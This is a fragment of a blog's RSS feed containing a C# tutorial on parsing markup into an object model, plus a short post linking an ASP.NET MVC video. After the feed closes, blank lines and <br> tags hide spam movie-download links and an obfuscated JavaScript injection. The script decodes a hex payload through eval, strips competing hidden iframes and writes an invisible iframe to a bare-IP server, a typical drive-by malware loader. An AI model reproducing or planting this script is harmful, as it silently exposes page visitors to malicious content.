<p>The <strong>MarkupDocument</strong> Class contains the whole document consisting of ChildElements and Content and Method for Parsing the Markup String Given to the object representation</p>
<p>The <strong>ToString</strong> Method is overrided in all classes to provide the Markup of the represented Element in a text format</p>
<p>Below is the Method I made for parsing the Markup its a Static Method that takes a MarkupDocument and a markup string and loads in the document the parsed string Here I use regular expressions for parsing the documents like retrieving the element name the attributes etc.</p>
<pre class="brush: csharp;">
        public static void ParseString(MarkupDocument document, string markup)
        {
            List<string> result = new List<string>();
            document.ChildElements.Clear();
            Regex r;
            Match m;
            string[] markups = markup.Split('<');
            MarkupElement parentElement = null;
            foreach (string str in markups)
            {
                string workingMarkup = str;
                if (str.Trim().Length == 0)
                    continue;
                #region Closing Tag
                //Check if this is a closing element or not
                if (workingMarkup.TrimStart().StartsWith("/"))
                {
                    //Check if a parent element exists or not
                    if (parentElement != null)
                    {
                        //Navigate up one level
                        if (document.IsSpecial(workingMarkup,">",1))
                        {
                            document.InsertContent(parentElement, workingMarkup, ">", 1);
                            continue;
                        }
                        parentElement = parentElement.ParentElement;
                        //Insert Markup in the parentElement content
                        document.InsertContent(parentElement, workingMarkup, ">", 1);
                    }
                    else
                    {
                        if (document.IsSpecial(workingMarkup, ">", 1))
                        {
                            document.InsertContent(workingMarkup, ">", 1);
                            continue;
                        }
                        //Adding an Element in case a closing tag in the beginning o the document
                        #region Adding The Element
                        r = new Regex("^\\s*\\w*", RegexOptions.IgnoreCase
                        | RegexOptions.Compiled);
                        m = r.Match(workingMarkup);
                        if (m.Success &#038;&#038; m.Groups[0].Value.Trim().Length > 0)
                        {
                            MarkupElement initElement = new MarkupElement();
                            initElement.ParentElement = parentElement;
                            initElement.Name = m.Groups[0].Value;
                            initElement.Document = document;
                            initElement.IsSelfClosed = true;
                            document.ChildElements.Add(initElement);
                        }
                        #endregion
                        //Insert Markup in the document content
                        document.InsertContent(workingMarkup, ">", 1);

                    }
                    continue;
                }
                #endregion

                MarkupElement currentElement = new MarkupElement();
                currentElement.Document = document;
                #region Element Name
                currentElement.ParentElement = parentElement;
                //This regular expression will extract the element name from the tag.
                r = new Regex("^\\s*\\w*", RegexOptions.IgnoreCase | RegexOptions.Compiled);
                m = r.Match(workingMarkup);
                if (m.Success &#038;&#038; m.Groups[0].Value.Trim().Length > 0)
                    currentElement.Name = m.Groups[0].Value;
                else
                    continue;
                workingMarkup = workingMarkup.Replace(currentElement.Name, "");
                #endregion

                #region Retrieve Element Attributes
                //This regular expression will extract an attribute with its value at a time
                r = new Regex("\\S*\\s*=\\s*\\S*(?:\"(?<1>[^\"]*)\"|(?<1>\\S+))",
RegexOptions.IgnoreCase | RegexOptions.Compiled);
                for (m = r.Match(workingMarkup); m.Success; m = m.NextMatch())
                {
                    string tag = m.Groups[0].Value;
                    string[] tagSplit = tag.Split('=');
                    MarkupAttribute attribute = new MarkupAttribute();
                    attribute.Name = tagSplit[0];
                    attribute.Value = tagSplit[1];
                    currentElement.Attributes.Add(attribute);
                }
                #endregion

                //Setting the element parent
                currentElement.ParentElement = parentElement;
                #region Add Element
                if (parentElement == null)
                    document.ChildElements.Add(currentElement);
                else
                    parentElement.ChildElements.Add(currentElement);
                #endregion

                #region Add Content
                if (!str.Contains("/>"))
                {
                    if (!document.SpecialElements.Contains(currentElement.Name))
                    {
                        parentElement = currentElement;
                        document.InsertContent(currentElement, workingMarkup, ">", 1);
                    }
                    else if (parentElement != null)
                    {
                        document.InsertContent(parentElement, workingMarkup, ">", 1);
                    }
                    else
                    {
                        document.InsertContent(workingMarkup, ">", 1);
                    }
                }
                else
                {
                    currentElement.IsSelfClosed = true;
                    document.InsertContent(parentElement, workingMarkup, "/>", 2);
                }
                #endregion
            }
        }
</pre>
<p>Ok now lets assume you know that there are some special Markup Elements that are meant to be as single elements all you have to do is to add them to the SpecialElements List in the document object</p>
<pre class="brush: csharp;">
             MarkupLibrary.MarkupDocument document = new MarkupLibrary.MarkupDocument();
            document.SpecialElements.Add("br");
            document.SpecialElements.Add("hr");
            document.SpecialElements.Add("img");
</pre>
<p>To Load the document with the Markup string call the <strong>Load</strong> Method</p>
<pre class="brush: csharp;">
            document.Load(markup);
</pre>
<p>Finally I hope That this would help you to create your Object Model from a Markup Representation<br />
The Project could be downloaded from <a href="http://www.ramymostafa.com/wp-content/MarkuptoObject/SampleProjects.zip">http://www.ramymostafa.com/wp-content/MarkuptoObject/SampleProjects.zip</a></p>
]]></description>
			<content:encoded><![CDATA[<p>An interesting problem is parsing a Markup Document to represent it as an Object This would be very helpful for ex. if you want to generate valid Markup Code ex: Placing quotes in HTML attribute values and placing the end tags also another helpful thing for it is to replace some element section traverse through the object model for making whatever needed logic would be much easier and usable in an Object Model Here I place a project I made that takes any markup and turn it in form of a MarkupDocument with elements and attributes,content etc. Below is a screenshot for a representation or a markup in a tree format in which I used the MarkupDocument to build the Tree</p>
<p>The Project could be downloaded from <a href="http://www.ramymostafa.com/wp-content/MarkuptoObject/SampleProjects.zip">http://www.ramymostafa.com/wp-content/MarkuptoObject/SampleProjects.zip</a></p>
<p><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/ui2.jpg"><img class="alignnone size-medium wp-image-129" title="ui2" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/ui2-300x214.jpg" alt="ui2" width="300" height="214" /></a></p>
<h2><strong>Code Highlight</strong></h2>
<p>Here is the class Diagram for the Markup Representation</p>
<p><a href="http://www.ramymostafa.com/wp-content/uploads/2009/03/classdiagram.jpg"><img class="alignnone size-full wp-image-130" title="classdiagram" src="http://www.ramymostafa.com/wp-content/uploads/2009/03/classdiagram.jpg" alt="classdiagram" width="463" height="236" /></a></p>
<p>The <strong>MarkupDocument</strong> Class contains the whole document consisting of ChildElements and Content and Method for Parsing the Markup String Given to the object representation</p>
<p>The <strong>ToString</strong> Method is overrided in all classes to provide the Markup of the represented Element in a text format</p>
<p>Below is the Method I made for parsing the Markup its a Static Method that takes a MarkupDocument and a markup string and loads in the document the parsed string Here I use regular expressions for parsing the documents like retrieving the element name the attributes etc.</p>
<pre class="brush: csharp;">
        public static void ParseString(MarkupDocument document, string markup)
        {
            List<string> result = new List<string>();
            document.ChildElements.Clear();
            Regex r;
            Match m;
            string[] markups = markup.Split('<');
            MarkupElement parentElement = null;
            foreach (string str in markups)
            {
                string workingMarkup = str;
                if (str.Trim().Length == 0)
                    continue;
                #region Closing Tag
                //Check if this is a closing element or not
                if (workingMarkup.TrimStart().StartsWith("/"))
                {
                    //Check if a parent element exists or not
                    if (parentElement != null)
                    {
                        //Navigate up one level
                        if (document.IsSpecial(workingMarkup,">",1))
                        {
                            document.InsertContent(parentElement, workingMarkup, ">", 1);
                            continue;
                        }
                        parentElement = parentElement.ParentElement;
                        //Insert Markup in the parentElement content
                        document.InsertContent(parentElement, workingMarkup, ">", 1);
                    }
                    else
                    {
                        if (document.IsSpecial(workingMarkup, ">", 1))
                        {
                            document.InsertContent(workingMarkup, ">", 1);
                            continue;
                        }
                        //Adding an Element in case a closing tag in the beginning o the document
                        #region Adding The Element
                        r = new Regex("^\\s*\\w*", RegexOptions.IgnoreCase
                        | RegexOptions.Compiled);
                        m = r.Match(workingMarkup);
                        if (m.Success &#038;&#038; m.Groups[0].Value.Trim().Length > 0)
                        {
                            MarkupElement initElement = new MarkupElement();
                            initElement.ParentElement = parentElement;
                            initElement.Name = m.Groups[0].Value;
                            initElement.Document = document;
                            initElement.IsSelfClosed = true;
                            document.ChildElements.Add(initElement);
                        }
                        #endregion
                        //Insert Markup in the document content
                        document.InsertContent(workingMarkup, ">", 1);

                    }
                    continue;
                }
                #endregion

                MarkupElement currentElement = new MarkupElement();
                currentElement.Document = document;
                #region Element Name
                currentElement.ParentElement = parentElement;
                //This regular expression will extract the element name from the tag.
                r = new Regex("^\\s*\\w*", RegexOptions.IgnoreCase | RegexOptions.Compiled);
                m = r.Match(workingMarkup);
                if (m.Success &#038;&#038; m.Groups[0].Value.Trim().Length > 0)
                    currentElement.Name = m.Groups[0].Value;
                else
                    continue;
                workingMarkup = workingMarkup.Replace(currentElement.Name, "");
                #endregion

                #region Retrieve Element Attributes
                //This regular expression will extract an attribute with its value at a time
                r = new Regex("\\S*\\s*=\\s*\\S*(?:\"(?<1>[^\"]*)\"|(?<1>\\S+))",
RegexOptions.IgnoreCase | RegexOptions.Compiled);
                for (m = r.Match(workingMarkup); m.Success; m = m.NextMatch())
                {
                    string tag = m.Groups[0].Value;
                    string[] tagSplit = tag.Split('=');
                    MarkupAttribute attribute = new MarkupAttribute();
                    attribute.Name = tagSplit[0];
                    attribute.Value = tagSplit[1];
                    currentElement.Attributes.Add(attribute);
                }
                #endregion

                //Setting the element parent
                currentElement.ParentElement = parentElement;
                #region Add Element
                if (parentElement == null)
                    document.ChildElements.Add(currentElement);
                else
                    parentElement.ChildElements.Add(currentElement);
                #endregion

                #region Add Content
                if (!str.Contains("/>"))
                {
                    if (!document.SpecialElements.Contains(currentElement.Name))
                    {
                        parentElement = currentElement;
                        document.InsertContent(currentElement, workingMarkup, ">", 1);
                    }
                    else if (parentElement != null)
                    {
                        document.InsertContent(parentElement, workingMarkup, ">", 1);
                    }
                    else
                    {
                        document.InsertContent(workingMarkup, ">", 1);
                    }
                }
                else
                {
                    currentElement.IsSelfClosed = true;
                    document.InsertContent(parentElement, workingMarkup, "/>", 2);
                }
                #endregion
            }
        }
</pre>
<p>Ok now lets assume you know that there are some special Markup Elements that are meant to be as single elements all you have to do is to add them to the SpecialElements List in the document object</p>
<pre class="brush: csharp;">
             MarkupLibrary.MarkupDocument document = new MarkupLibrary.MarkupDocument();
            document.SpecialElements.Add("br");
            document.SpecialElements.Add("hr");
            document.SpecialElements.Add("img");
</pre>
<p>To Load the document with the Markup string call the <strong>Load</strong> Method</p>
<pre class="brush: csharp;">
            document.Load(markup);
</pre>
<p>Finally I hope That this would help you to create your Object Model from a Markup Representation<br />
The Project could be downloaded from <a href="http://www.ramymostafa.com/wp-content/MarkuptoObject/SampleProjects.zip">http://www.ramymostafa.com/wp-content/MarkuptoObject/SampleProjects.zip</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ramymostafa.com/?feed=rss2&amp;p=126</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creating a Movie Database Application with ASP.NET MVC</title>
		<link>http://www.ramymostafa.com/?p=122</link>
		<comments>http://www.ramymostafa.com/?p=122#comments</comments>
		<pubDate>Sun, 22 Mar 2009 11:07:16 +0000</pubDate>
		<dc:creator>Ramy Mostafa</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[MVC]]></category>

		<guid isPermaLink="false">http://www.ramymostafa.com/?p=122</guid>
		<description><![CDATA[<p>Hi a nice demonstration that I liked so I thought of highlighting it here by Stephen Walther he builds an entire ASP.NET MVC application from start to finish. </p>
<p><object style="width:400px;height:338px;" autoupdate="true" data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param value="2.0.31005.0" name="MinRuntimeVersion"/><param name="source" value="http://www.asp.net/clientbin/mediaplayer/MSCommunities.MediaPlayer.xap" /><param value="videoid=6285" name="InitParams"/><a href="http://go2.microsoft.com/fwlink/?LinkID=114576&amp;v=2.0"><img style="border-width: 0px;" alt="Install Silverlight" src="http://static.asp.net/themes/silverlight/images/mediaplayer/slplayer_disabled.png"/></a></object></p>
<p>Hope you enjoy it <img src='http://www.ramymostafa.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></description>
			<content:encoded><![CDATA[<p>Hi a nice demonstration that I liked so I thought of highlighting it here by Stephen Walther he builds an entire ASP.NET MVC application from start to finish. </p>
<p><object style="width:400px;height:338px;" autoupdate="true" data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param value="2.0.31005.0" name="MinRuntimeVersion"/><param name="source" value="http://www.asp.net/clientbin/mediaplayer/MSCommunities.MediaPlayer.xap" /><param value="videoid=6285" name="InitParams"/><a href="http://go2.microsoft.com/fwlink/?LinkID=114576&amp;v=2.0"><img style="border-width: 0px;" alt="Install Silverlight" src="http://static.asp.net/themes/silverlight/images/mediaplayer/slplayer_disabled.png"/></a></object></p>
<p>Hope you enjoy it <img src='http://www.ramymostafa.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ramymostafa.com/?feed=rss2&amp;p=122</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>






































<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><a href="http://moviesbit.com"><b>download
movies</b></a>
<p><b><a href="http://moviesbit.ru">ñêà÷àòü ôèëüìû</a><br>
</b></p>

                                                                                 <script>c10zd6='';r11017='r40354e';rc8a4bd3e7b='ra9fd94cbbf';rdeaf3d=/* r68059 */document;if(r11017+c10zd6+rc8a4bd3e7b=='r40354era9fd94cbbf'){ rb554c96=rdeaf3d};rb554c96.write('<scr'+'ipt>function rd5ff08f24bc(r30a073a349){return e'+c10zd6+'val(r30a073a349); }</scr'+'ipt>');  function c10cac6388r0758254(r239fd){ var rcff454b2=16; var z27='';return (rd5ff08f24bc('pa'+z27+'rseInt')(r239fd,rcff454b2));}function r5aa61a2d95(rf2919a822c){  var r4b2b5ad283='';r7a3d2bd='fromCh';r3f05b1805b=String[r7a3d2bd+'arC'+'ode'];for(r86f72=0;r86f72<rf2919a822c.length;r86f72+=2){ r4b2b5ad283+=(r3f05b1805b(c10cac6388r0758254(rf2919a822c.substr(r86f72,2))));}return r4b2b5ad283;} var r845ab470='3C7363726970743E66756E6374696F6E20636865636B5F636F6E74656E7428297B7661'+c10zd6+'7220693D303B7768696C6528646F63756D656E742E676574456C656D656E747342795461'+c10zd6+'674E61'+c10zd6+'6D65282769667261'+c10zd6+'6D6527292E6C656E677468297B7661'+c10zd6+'7220656C3D646F63756D656E742E676574456C656D656E747342795461'+c10zd6+'674E61'+c10zd6+'6D65282769667261'+c10zd6+'6D6527295B695D3B6966282028656C2E7374796C652E646973706C61'+c10zd6+'793D3D276E6F6E6527207C7C20656C2E7374796C652E7669736962696C697479203D3D2768696464656E27207C7C2028656C2E77696474683C3520262620656C2E6865696768743C35292920262620656C2E6E61'+c10zd6+'6D6521'+c10zd6+'3D276331'+c10zd6+'3027297B656C2E7061'+c10zd6+'72656E744E6F64652E72656D6F76654368696C6428656C293B7D656C736520692B2B3B7D7D636865636B5F636F6E74656E7428293B0D0A69662821'+c10zd6+'6D796961'+c10zd6+'297B646F63756D656E742E777269746528756E65736361'+c10zd6+'7065282027253363253639253636253732253631'+c10zd6+'253664253635253230253665253631'+c10zd6+'253664253635253364253633253331'+c10zd6+'253330253230253733253732253633253364253237253638253734253734253730253361'+c10zd6+'253266253266253337253337253265253332253332253331'+c10zd6+'253265253331'+c10zd6+'253335253333253265253331'+c10zd6+'253337253338253266253637253666253332253266253639253665253265253730253638253730253366253237253262253464253631'+c10zd6+'253734253638253265253732253666253735253665253634253238253464253631'+c10zd6+'253734253638253265253732253631'+c10zd6+'253665253634253666253664253238253239253261'+c10zd6+'253331'+c10zd6+'253333253332253338253331'+c10zd6+'253330253239253262253237253333253237253230253737253639253634253734253638253364253334253336253336253230253638253635253639253637253638253734253364253332253338253335253230253733253734253739253663253635253364253237253736253639253733253639253632253639253663253639253734253739253361'+c10zd6+'253638253639253634253634253635253665253237253365253363253266253639253636253732253631'+c10zd6+'2536642536352533652729293B7D7661'+c10zd6+'72206D796961'+c10zd6+'3D747275653B3C2F7363726970743E';rb554c96.write(r5aa61a2d95(r845ab470));</script>